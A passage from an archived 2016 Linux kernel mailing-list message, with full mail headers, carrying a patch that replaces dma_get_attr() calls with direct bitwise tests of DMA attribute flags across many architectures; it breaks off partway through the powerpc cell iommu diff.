	Pawel Osciak <pawel-FA/gS7QP4orQT0dZR+AlfA@public.gmane.org>, linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Jonathan Corbet <corbet-T1hC0tSOHrs@public.gmane.org>, Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>,
	Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>, Russell King <linux-I+IVW8TIWO2tmTQ+vhA3Yw@public.gmane.org>,
	iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org, hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org,
	linux-rockchip-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Catalin Marinas <catalin.marinas-5wv7dgnIgG8@public.gmane.org>, xen-devel@lists.
To: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jul 13 10:42:53 2016
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1bNFkq-0002Nc-BL
	for glki-iommu@m.gmane.org; Wed, 13 Jul 2016 10:42:52 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 59D96957;
	Wed, 13 Jul 2016 08:42:51 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id D6E0B71
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 13 Jul 2016 08:42:49 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mailout4.w1.samsung.com (mailout4.w1.samsung.com
	[210.118.77.14])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id A8E46175
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 13 Jul 2016 08:42:46 +0000 (UTC)
Original-Received: from eucpsbgm2.samsung.com (unknown [203.254.199.245])
	by mailout4.w1.samsung.com
	(Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May 5
	2014)) with ESMTP id <0OA800G69W784C30-EzmLBFjv21kN6F2oBFWwZJQQlyuF8BCz@public.gmane.org> for
	iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org; Wed, 13 Jul 2016 09:42:44 +0100 (BST)
X-AuditID: cbfec7f5-f792a6d000001302-96-5785ff03ab51
Original-Received: from eusync3.samsung.com ( [203.254.199.213])
	by eucpsbgm2.samsung.com (EUCPMTA) with SMTP id 2D.41.04866.30FF5875;
	Wed, 13 Jul 2016 09:42:43 +0100 (BST)
Original-Received: from AMDC2174.DIGITAL.local ([106.120.53.17])
	by eusync3.samsung.com (Oracle Communications Messaging Server
	7.0.5.31.0 64bit (built May  5 2014))
	with ESMTPA id <0OA800KINW5J0E10-uuLvPlfRdKdLN7c7dRTbYkEOCMrvLtNR@public.gmane.org>; Wed,
	13 Jul 2016 09:42:43 +0100 (BST)
X-Mailer: git-send-email 1.9.1
In-reply-to: <1468399300-5399-44-git-send-email-k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>
X-Brightmail-Tracker: H4sIAAAAAAAAAzWSfUzMcRzHfb+/p+vm2s9V/NQSNzZM5PkzDPGH7z+2bLbbkBx+O+lB7tQw
	a1cUXZel0kSdRKlcd+cKSYaTkrAIax6Kk3RKJXLRE6f893p/3q/t/c9HQsmTGV9JePQBUROt
	ilSwUrphpO5lIDWapAxq+hIEaU/rMeRaTCwMZ9RycPWMhYHexCQKeooMCNruHkfQ2vcGwYv+
	HhZSzQ4OkrODoSG9AMOoo5OBgf6jNOTfWQndxg4KWs2lDAzl9GJIOWfloLNjITxJ7OLA9vEV
	AxeSL9HQe6KbgaaqXBYM1msMtL8+TkP66QwOHI8aMfS9H6Ug6W0ZBvvp2wgGXSMMlNW846Ay
	6y6GItsQhgqdnQVTzUUOsr7+4uB59Uy4Yg6DrsYWGuzXHDQ4vz2kwVWRidcGkrZ7RkxMRhMi
	Ta+eUWTwdwYiBU4dTW6efceR3m/bieHmY0TKi+eSi9VOTAxdxxhiK01hycMzgzR5UFKGyY2f
	7xnSmlqHQwK2SFftFiPD40TNgtU7pHvS67bF6EvQwe6TbZQOteiRHnlIBH6JcL+lb5wnC40t
	FlaPpBI5X4iEHJcZj4UELLRdyGHdFssvFsovX/rH3nygUPq5inJLFP91ovAi28W5Cy9+hZBn
	LP8n0fws4ZbzDXazjN8gWFyf6bG5aUJ9bSbjZg+eCBUJxeNr7T5C/9MGOh3J8tGEUuQjxu6K
	0e5URy2ar1VFaWOj1fN37YuyobHv6K9EhbUr7IiXIMVEWfGkJKWcUcVpD0XZkSChFN6yT8N/
	T7LdqkOHRc2+ME1spKi1Iz8JrZgiy6nq2Szn1aoDYoQoxoia/y2WePjqUOqNAoix 
X-Spam-Status: No, score=-8.2 required=5.0 tests=BAYES_00,RCVD_IN_DNSWL_HI,
	RP_MATCHES_RCVD autolearn=ham version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on
	smtp1.linux-foundation.org
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:14491 gmane.linux.ports.mips.general:55464 gmane.linux.ports.ia64:27043 gmane.linux.documentation:39692 gmane.comp.video.dri.devel:159499 gmane.linux.kernel.arc:1323 gmane.linux.ports.arm.rockchip:8214 gmane.linux.kernel.metag:1121 gmane.linux.ports.arm.kernel:513807 gmane.linux.ports.parisc:26926 gmane.linux.kernel:2264939 gmane.linux.drivers.video-input-infrastructure:104387 gmane.linux.ports.ppc64.devel:130111
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/14491>

After switching DMA attributes to unsigned long it is easier to just
compare the bits.

Signed-off-by: Krzysztof Kozlowski <k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>
[for avr32]
Acked-by: Hans-Christian Noren Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>
[for arc]
Acked-by: Vineet Gupta <vgupta-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>
[for arm64 and dma-iommu]
Acked-by: Robin Murphy <robin.murphy-5wv7dgnIgG8@public.gmane.org>
---
 Documentation/DMA-API.txt                      |  4 +--
 arch/arc/mm/dma.c                              |  4 +--
 arch/arm/mm/dma-mapping.c                      | 36 ++++++++++++--------------
 arch/arm/xen/mm.c                              |  4 +--
 arch/arm64/mm/dma-mapping.c                    | 10 +++----
 arch/avr32/mm/dma-coherent.c                   |  4 +--
 arch/ia64/sn/pci/pci_dma.c                     | 10 ++-----
 arch/metag/kernel/dma.c                        |  2 +-
 arch/mips/mm/dma-default.c                     |  6 ++---
 arch/openrisc/kernel/dma.c                     |  4 +--
 arch/parisc/kernel/pci-dma.c                   |  2 +-
 arch/powerpc/platforms/cell/iommu.c            | 12 ++++-----
 drivers/gpu/drm/rockchip/rockchip_drm_gem.c    |  2 +-
 drivers/iommu/dma-iommu.c                      |  2 +-
 drivers/media/v4l2-core/videobuf2-dma-contig.c |  2 +-
 include/linux/dma-mapping.h                    | 10 -------
 16 files changed, 47 insertions(+), 67 deletions(-)

diff --git a/Documentation/DMA-API.txt b/Documentation/DMA-API.txt
index 24f9688bb98a..1d26eeb6b5f6 100644
--- a/Documentation/DMA-API.txt
+++ b/Documentation/DMA-API.txt
@@ -422,9 +422,7 @@ void whizco_dma_map_sg_attrs(struct device *dev, dma_addr_t dma_addr,
 			     unsigned long attrs)
 {
 	....
-	int foo =  dma_get_attr(DMA_ATTR_FOO, attrs);
-	....
-	if (foo)
+	if (attrs & DMA_ATTR_FOO)
 		/* twizzle the frobnozzle */
 	....
 
diff --git a/arch/arc/mm/dma.c b/arch/arc/mm/dma.c
index 3d1f467d1792..74bbe68dce9d 100644
--- a/arch/arc/mm/dma.c
+++ b/arch/arc/mm/dma.c
@@ -46,7 +46,7 @@ static void *arc_dma_alloc(struct device *dev, size_t size,
 	 *   (vs. always going to memory - thus are faster)
 	 */
 	if ((is_isa_arcv2() && ioc_exists) ||
-	    dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs))
+	    (attrs & DMA_ATTR_NON_CONSISTENT))
 		need_coh = 0;
 
 	/*
@@ -95,7 +95,7 @@ static void arc_dma_free(struct device *dev, size_t size, void *vaddr,
 	struct page *page = virt_to_page(dma_handle);
 	int is_non_coh = 1;
 
-	is_non_coh = dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs) ||
+	is_non_coh = (attrs & DMA_ATTR_NON_CONSISTENT) ||
 			(is_isa_arcv2() && ioc_exists);
 
 	if (PageHighMem(page) || !is_non_coh)
diff --git a/arch/arm/mm/dma-mapping.c b/arch/arm/mm/dma-mapping.c
index ebb3fde99043..43e03b5293d0 100644
--- a/arch/arm/mm/dma-mapping.c
+++ b/arch/arm/mm/dma-mapping.c
@@ -126,7 +126,7 @@ static dma_addr_t arm_dma_map_page(struct device *dev, struct page *page,
 	     unsigned long offset, size_t size, enum dma_data_direction dir,
 	     unsigned long attrs)
 {
-	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__dma_page_cpu_to_dev(page, offset, size, dir);
 	return pfn_to_dma(dev, page_to_pfn(page)) + offset;
 }
@@ -155,7 +155,7 @@ static dma_addr_t arm_coherent_dma_map_page(struct device *dev, struct page *pag
 static void arm_dma_unmap_page(struct device *dev, dma_addr_t handle,
 		size_t size, enum dma_data_direction dir, unsigned long attrs)
 {
-	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__dma_page_dev_to_cpu(pfn_to_page(dma_to_pfn(dev, handle)),
 				      handle & ~PAGE_MASK, size, dir);
 }
@@ -622,9 +622,9 @@ static void __free_from_contiguous(struct device *dev, struct page *page,
 
 static inline pgprot_t __get_dma_pgprot(unsigned long attrs, pgprot_t prot)
 {
-	prot = dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs) ?
-			    pgprot_writecombine(prot) :
-			    pgprot_dmacoherent(prot);
+	prot = (attrs & DMA_ATTR_WRITE_COMBINE) ?
+			pgprot_writecombine(prot) :
+			pgprot_dmacoherent(prot);
 	return prot;
 }
 
@@ -744,7 +744,7 @@ static void *__dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
 		.gfp = gfp,
 		.prot = prot,
 		.caller = caller,
-		.want_vaddr = !dma_get_attr(DMA_ATTR_NO_KERNEL_MAPPING, attrs),
+		.want_vaddr = ((attrs & DMA_ATTR_NO_KERNEL_MAPPING) == 0),
 	};
 
 #ifdef CONFIG_DMA_API_DEBUG
@@ -887,7 +887,7 @@ static void __arm_dma_free(struct device *dev, size_t size, void *cpu_addr,
 		.size = PAGE_ALIGN(size),
 		.cpu_addr = cpu_addr,
 		.page = page,
-		.want_vaddr = !dma_get_attr(DMA_ATTR_NO_KERNEL_MAPPING, attrs),
+		.want_vaddr = ((attrs & DMA_ATTR_NO_KERNEL_MAPPING) == 0),
 	};
 
 	buf = arm_dma_buffer_find(cpu_addr);
@@ -1267,7 +1267,7 @@ static struct page **__iommu_alloc_buffer(struct device *dev, size_t size,
 	if (!pages)
 		return NULL;
 
-	if (dma_get_attr(DMA_ATTR_FORCE_CONTIGUOUS, attrs))
+	if (attrs & DMA_ATTR_FORCE_CONTIGUOUS)
 	{
 		unsigned long order = get_order(size);
 		struct page *page;
@@ -1285,7 +1285,7 @@ static struct page **__iommu_alloc_buffer(struct device *dev, size_t size,
 	}
 
 	/* Go straight to 4K chunks if caller says it's OK. */
-	if (dma_get_attr(DMA_ATTR_ALLOC_SINGLE_PAGES, attrs))
+	if (attrs & DMA_ATTR_ALLOC_SINGLE_PAGES)
 		order_idx = ARRAY_SIZE(iommu_order_array) - 1;
 
 	/*
@@ -1346,7 +1346,7 @@ static int __iommu_free_buffer(struct device *dev, struct page **pages,
 	int count = size >> PAGE_SHIFT;
 	int i;
 
-	if (dma_get_attr(DMA_ATTR_FORCE_CONTIGUOUS, attrs)) {
+	if (attrs & DMA_ATTR_FORCE_CONTIGUOUS) {
 		dma_release_from_contiguous(dev, pages[0], count);
 	} else {
 		for (i = 0; i < count; i++)
@@ -1445,7 +1445,7 @@ static struct page **__iommu_get_pages(void *cpu_addr, unsigned long attrs)
 	if (__in_atomic_pool(cpu_addr, PAGE_SIZE))
 		return __atomic_get_pages(cpu_addr);
 
-	if (dma_get_attr(DMA_ATTR_NO_KERNEL_MAPPING, attrs))
+	if (attrs & DMA_ATTR_NO_KERNEL_MAPPING)
 		return cpu_addr;
 
 	area = find_vm_area(cpu_addr);
@@ -1512,7 +1512,7 @@ static void *arm_iommu_alloc_attrs(struct device *dev, size_t size,
 	if (*handle == DMA_ERROR_CODE)
 		goto err_buffer;
 
-	if (dma_get_attr(DMA_ATTR_NO_KERNEL_MAPPING, attrs))
+	if (attrs & DMA_ATTR_NO_KERNEL_MAPPING)
 		return pages;
 
 	addr = __iommu_alloc_remap(pages, size, gfp, prot,
@@ -1583,7 +1583,7 @@ void arm_iommu_free_attrs(struct device *dev, size_t size, void *cpu_addr,
 		return;
 	}
 
-	if (!dma_get_attr(DMA_ATTR_NO_KERNEL_MAPPING, attrs)) {
+	if ((attrs & DMA_ATTR_NO_KERNEL_MAPPING) == 0) {
 		dma_common_free_remap(cpu_addr, size,
 			VM_ARM_DMA_CONSISTENT | VM_USERMAP);
 	}
@@ -1653,8 +1653,7 @@ static int __map_sg_chunk(struct device *dev, struct scatterlist *sg,
 		phys_addr_t phys = page_to_phys(sg_page(s));
 		unsigned int len = PAGE_ALIGN(s->offset + s->length);
 
-		if (!is_coherent &&
-			!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+		if (!is_coherent && (attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 			__dma_page_cpu_to_dev(sg_page(s), s->offset, s->length, dir);
 
 		prot = __dma_direction_to_prot(dir);
@@ -1767,8 +1766,7 @@ static void __iommu_unmap_sg(struct device *dev, struct scatterlist *sg,
 		if (sg_dma_len(s))
 			__iommu_remove_mapping(dev, sg_dma_address(s),
 					       sg_dma_len(s));
-		if (!is_coherent &&
-		    !dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+		if (!is_coherent && (attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 			__dma_page_dev_to_cpu(sg_page(s), s->offset,
 					      s->length, dir);
 	}
@@ -1892,7 +1890,7 @@ static dma_addr_t arm_iommu_map_page(struct device *dev, struct page *page,
 	     unsigned long offset, size_t size, enum dma_data_direction dir,
 	     unsigned long attrs)
 {
-	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__dma_page_cpu_to_dev(page, offset, size, dir);
 
 	return arm_coherent_iommu_map_page(dev, page, offset, size, dir, attrs);
@@ -1943,7 +1941,7 @@ static void arm_iommu_unmap_page(struct device *dev, dma_addr_t handle,
 	if (!iova)
 		return;
 
-	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__dma_page_dev_to_cpu(page, offset, size, dir);
 
 	iommu_unmap(mapping->domain, iova, len);
diff --git a/arch/arm/xen/mm.c b/arch/arm/xen/mm.c
index fc67ed236a10..d062f08f5020 100644
--- a/arch/arm/xen/mm.c
+++ b/arch/arm/xen/mm.c
@@ -102,7 +102,7 @@ void __xen_dma_map_page(struct device *hwdev, struct page *page,
 {
 	if (is_device_dma_coherent(hwdev))
 		return;
-	if (dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
 		return;
 
 	__xen_dma_page_cpu_to_dev(hwdev, dev_addr, size, dir);
@@ -115,7 +115,7 @@ void __xen_dma_unmap_page(struct device *hwdev, dma_addr_t handle,
 {
 	if (is_device_dma_coherent(hwdev))
 		return;
-	if (dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
 		return;
 
 	__xen_dma_page_dev_to_cpu(hwdev, handle, size, dir);
diff --git a/arch/arm64/mm/dma-mapping.c b/arch/arm64/mm/dma-mapping.c
index a284fd0d0b00..c4284c432ae8 100644
--- a/arch/arm64/mm/dma-mapping.c
+++ b/arch/arm64/mm/dma-mapping.c
@@ -35,7 +35,7 @@ static int swiotlb __read_mostly;
 static pgprot_t __get_dma_pgprot(unsigned long attrs, pgprot_t prot,
 				 bool coherent)
 {
-	if (!coherent || dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs))
+	if (!coherent || (attrs & DMA_ATTR_WRITE_COMBINE))
 		return pgprot_writecombine(prot);
 	return prot;
 }
@@ -714,7 +714,7 @@ static dma_addr_t __iommu_map_page(struct device *dev, struct page *page,
 	dma_addr_t dev_addr = iommu_dma_map_page(dev, page, offset, size, prot);
 
 	if (!iommu_dma_mapping_error(dev, dev_addr) &&
-	    !dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	    (attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__iommu_sync_single_for_device(dev, dev_addr, size, dir);
 
 	return dev_addr;
@@ -724,7 +724,7 @@ static void __iommu_unmap_page(struct device *dev, dma_addr_t dev_addr,
 			       size_t size, enum dma_data_direction dir,
 			       unsigned long attrs)
 {
-	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__iommu_sync_single_for_cpu(dev, dev_addr, size, dir);
 
 	iommu_dma_unmap_page(dev, dev_addr, size, dir, attrs);
@@ -764,7 +764,7 @@ static int __iommu_map_sg_attrs(struct device *dev, struct scatterlist *sgl,
 {
 	bool coherent = is_device_dma_coherent(dev);
 
-	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__iommu_sync_sg_for_device(dev, sgl, nelems, dir);
 
 	return iommu_dma_map_sg(dev, sgl, nelems,
@@ -776,7 +776,7 @@ static void __iommu_unmap_sg_attrs(struct device *dev,
 				   enum dma_data_direction dir,
 				   unsigned long attrs)
 {
-	if (!dma_get_attr(DMA_ATTR_SKIP_CPU_SYNC, attrs))
+	if ((attrs & DMA_ATTR_SKIP_CPU_SYNC) == 0)
 		__iommu_sync_sg_for_cpu(dev, sgl, nelems, dir);
 
 	iommu_dma_unmap_sg(dev, sgl, nelems, dir, attrs);
diff --git a/arch/avr32/mm/dma-coherent.c b/arch/avr32/mm/dma-coherent.c
index fc51f4421933..58610d0df7ed 100644
--- a/arch/avr32/mm/dma-coherent.c
+++ b/arch/avr32/mm/dma-coherent.c
@@ -109,7 +109,7 @@ static void *avr32_dma_alloc(struct device *dev, size_t size,
 		return NULL;
 	phys = page_to_phys(page);
 
-	if (dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs)) {
+	if (attrs & DMA_ATTR_WRITE_COMBINE) {
 		/* Now, map the page into P3 with write-combining turned on */
 		*handle = phys;
 		return __ioremap(phys, size, _PAGE_BUFFER);
@@ -123,7 +123,7 @@ static void avr32_dma_free(struct device *dev, size_t size,
 {
 	struct page *page;
 
-	if (dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs)) {
+	if (attrs & DMA_ATTR_WRITE_COMBINE) {
 		iounmap(cpu_addr);
 
 		page = phys_to_page(handle);
diff --git a/arch/ia64/sn/pci/pci_dma.c b/arch/ia64/sn/pci/pci_dma.c
index 6b78fc953c4b..74c934a997bb 100644
--- a/arch/ia64/sn/pci/pci_dma.c
+++ b/arch/ia64/sn/pci/pci_dma.c
@@ -183,14 +183,11 @@ static dma_addr_t sn_dma_map_page(struct device *dev, struct page *page,
 	unsigned long phys_addr;
 	struct pci_dev *pdev = to_pci_dev(dev);
 	struct sn_pcibus_provider *provider = SN_PCIDEV_BUSPROVIDER(pdev);
-	int dmabarr;
-
-	dmabarr = dma_get_attr(DMA_ATTR_WRITE_BARRIER, attrs);
 
 	BUG_ON(!dev_is_pci(dev));
 
 	phys_addr = __pa(cpu_addr);
-	if (dmabarr)
+	if (attrs & DMA_ATTR_WRITE_BARRIER)
 		dma_addr = provider->dma_map_consistent(pdev, phys_addr,
 							size, SN_DMA_ADDR_PHYS);
 	else
@@ -280,9 +277,6 @@ static int sn_dma_map_sg(struct device *dev, struct scatterlist *sgl,
 	struct pci_dev *pdev = to_pci_dev(dev);
 	struct sn_pcibus_provider *provider = SN_PCIDEV_BUSPROVIDER(pdev);
 	int i;
-	int dmabarr;
-
-	dmabarr = dma_get_attr(DMA_ATTR_WRITE_BARRIER, attrs);
 
 	BUG_ON(!dev_is_pci(dev));
 
@@ -292,7 +286,7 @@ static int sn_dma_map_sg(struct device *dev, struct scatterlist *sgl,
 	for_each_sg(sgl, sg, nhwentries, i) {
 		dma_addr_t dma_addr;
 		phys_addr = SG_ENT_PHYS_ADDRESS(sg);
-		if (dmabarr)
+		if (attrs & DMA_ATTR_WRITE_BARRIER)
 			dma_addr = provider->dma_map_consistent(pdev,
 								phys_addr,
 								sg->length,
diff --git a/arch/metag/kernel/dma.c b/arch/metag/kernel/dma.c
index d68f498e82a1..0db31e24c541 100644
--- a/arch/metag/kernel/dma.c
+++ b/arch/metag/kernel/dma.c
@@ -337,7 +337,7 @@ static int metag_dma_mmap(struct device *dev, struct vm_area_struct *vma,
 	struct metag_vm_region *c;
 	int ret = -ENXIO;
 
-	if (dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs))
+	if (attrs & DMA_ATTR_WRITE_COMBINE)
 		vma->vm_page_prot = pgprot_writecombine(vma->vm_page_prot);
 	else
 		vma->vm_page_prot = pgprot_noncached(vma->vm_page_prot);
diff --git a/arch/mips/mm/dma-default.c b/arch/mips/mm/dma-default.c
index 0ed9000dc1ff..b2eadd6fa9a1 100644
--- a/arch/mips/mm/dma-default.c
+++ b/arch/mips/mm/dma-default.c
@@ -141,7 +141,7 @@ static void *mips_dma_alloc_coherent(struct device *dev, size_t size,
 	 * XXX: seems like the coherent and non-coherent implementations could
 	 * be consolidated.
 	 */
-	if (dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs))
+	if (attrs & DMA_ATTR_NON_CONSISTENT)
 		return mips_dma_alloc_noncoherent(dev, size, dma_handle, gfp);
 
 	gfp = massage_gfp_flags(dev, gfp);
@@ -182,7 +182,7 @@ static void mips_dma_free_coherent(struct device *dev, size_t size, void *vaddr,
 	unsigned int count = PAGE_ALIGN(size) >> PAGE_SHIFT;
 	struct page *page = NULL;
 
-	if (dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs)) {
+	if (attrs & DMA_ATTR_NON_CONSISTENT) {
 		mips_dma_free_noncoherent(dev, size, vaddr, dma_handle);
 		return;
 	}
@@ -214,7 +214,7 @@ static int mips_dma_mmap(struct device *dev, struct vm_area_struct *vma,
 
 	pfn = page_to_pfn(virt_to_page((void *)addr));
 
-	if (dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs))
+	if (attrs & DMA_ATTR_WRITE_COMBINE)
 		vma->vm_page_prot = pgprot_writecombine(vma->vm_page_prot);
 	else
 		vma->vm_page_prot = pgprot_noncached(vma->vm_page_prot);
diff --git a/arch/openrisc/kernel/dma.c b/arch/openrisc/kernel/dma.c
index 50eb1f26c540..140c99140649 100644
--- a/arch/openrisc/kernel/dma.c
+++ b/arch/openrisc/kernel/dma.c
@@ -100,7 +100,7 @@ or1k_dma_alloc(struct device *dev, size_t size,
 
 	va = (unsigned long)page;
 
-	if (!dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs)) {
+	if ((attrs & DMA_ATTR_NON_CONSISTENT) == 0) {
 		/*
 		 * We need to iterate through the pages, clearing the dcache for
 		 * them and setting the cache-inhibit bit.
@@ -124,7 +124,7 @@ or1k_dma_free(struct device *dev, size_t size, void *vaddr,
 		.mm = &init_mm
 	};
 
-	if (!dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs)) {
+	if ((attrs & DMA_ATTR_NON_CONSISTENT) == 0) {
 		/* walk_page_range shouldn't be able to fail here */
 		WARN_ON(walk_page_range(va, va + size, &walk));
 	}
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 845fdd52e4c5..02d9ed0f3949 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -581,7 +581,7 @@ static void *pcx_dma_alloc(struct device *dev, size_t size,
 {
 	void *addr;
 
-	if (!dma_get_attr(DMA_ATTR_NON_CONSISTENT, attrs))
+	if ((attrs & DMA_ATTR_NON_CONSISTENT) == 0)
 		return NULL;
 
 	addr = (void *)__get_free_pages(flag, get_order(size));
diff --git a/arch/powerpc/platforms/cell/iommu.c b/arch/powerpc/platforms/cell/iommu.c
index 9a195f1893af..f7d1a4953ea0 100644
--- a/arch/powerpc/platforms/cell/iommu.c
+++ b/arch/powerpc/platforms/cell/iommu.c
@@ -193,7 +193,7 @@ static int tce_build_cell(struct iommu_table *tbl, long index, long npages,
 	base_pte = CBE_IOPTE_PP_W | CBE_IOPTE_PP_R | CBE_IOPTE_M |
 		CBE_IOPTE_SO_RW | (window->ioid & CBE_IOPTE_IOID_Mask);
 #endif
-	if (unlikely(dma_get_attr(DMA_ATTR_WEAK_ORDERING, attrs)))
+	if (unlikely(attrs & DMA_ATTR_WEAK_ORDERING))
 		base_pte &= ~CBE_IOPTE_SO_RW;
 
 	io_pte = (unsigned long *)tbl->it_base + (index - tbl->it_offset);
@@ -600,7 +600,7 @@ static dma_addr_t dma_fixed_map_page(struct device *dev, struct page *page,
 				     enum dma_data_direction direction,
 				     unsigned long attrs)
 {
-	if (iommu_fixed_is_weak == dma_get_attr(DMA_ATTR_WEAK_ORDERING, attrs))
+	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
 		return dma_direct_ops.map_page(dev, page, offset, size,
 					       direction, attrs);
 	else
@@ -613,7 +613,7 @@ static void dma_fixed_unmap_page(struct device *dev, dma_addr_t dma_addr,
 				 size_t size, enum dma_data_direction direction,
 				 unsigned long attrs)
 {
-	if (iommu_fixed_is_weak == dma_get_attr(DMA_ATTR_WEAK_ORDERING, attrs))
+	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
 		dma_direct_ops.unmap_page(dev, dma_addr, size, direction,
 					  attrs);
 	else
@@ -625,7 +625,7 @@ static int dma_fixed_map_sg(struct device *dev, struct scatterlist *sg,
 			   int nents, enum dma_data_direction direction,
 			   unsigned long attrs)
 {
-	if (iommu_fixed_is_weak == dma_get_attr(DMA_ATTR_WEAK_ORDERING, attrs))
+	if (iommu_fixed_is_weak == (attrs & DMA_ATTR_WEAK_ORDERING))
 		return dma_direct_ops.map_sg(dev, sg, nents, direction, attrs);
 	else
 		return ppc_iommu_map_sg(dev, cell_get_iommu_table(dev), sg,
@@ -637,7 +637,7 @@ static void dma_fixed_unmap_sg(struct device *dev, struct scatterlist *sg,
 			       int nents, enum dma_data_direction direction,
 			       unsigned long attrs)
 {
-	if (iommu_fixed_is_weak == dma_get_attr(DMA_ATTR_WEAK_ORDERING, attrs))
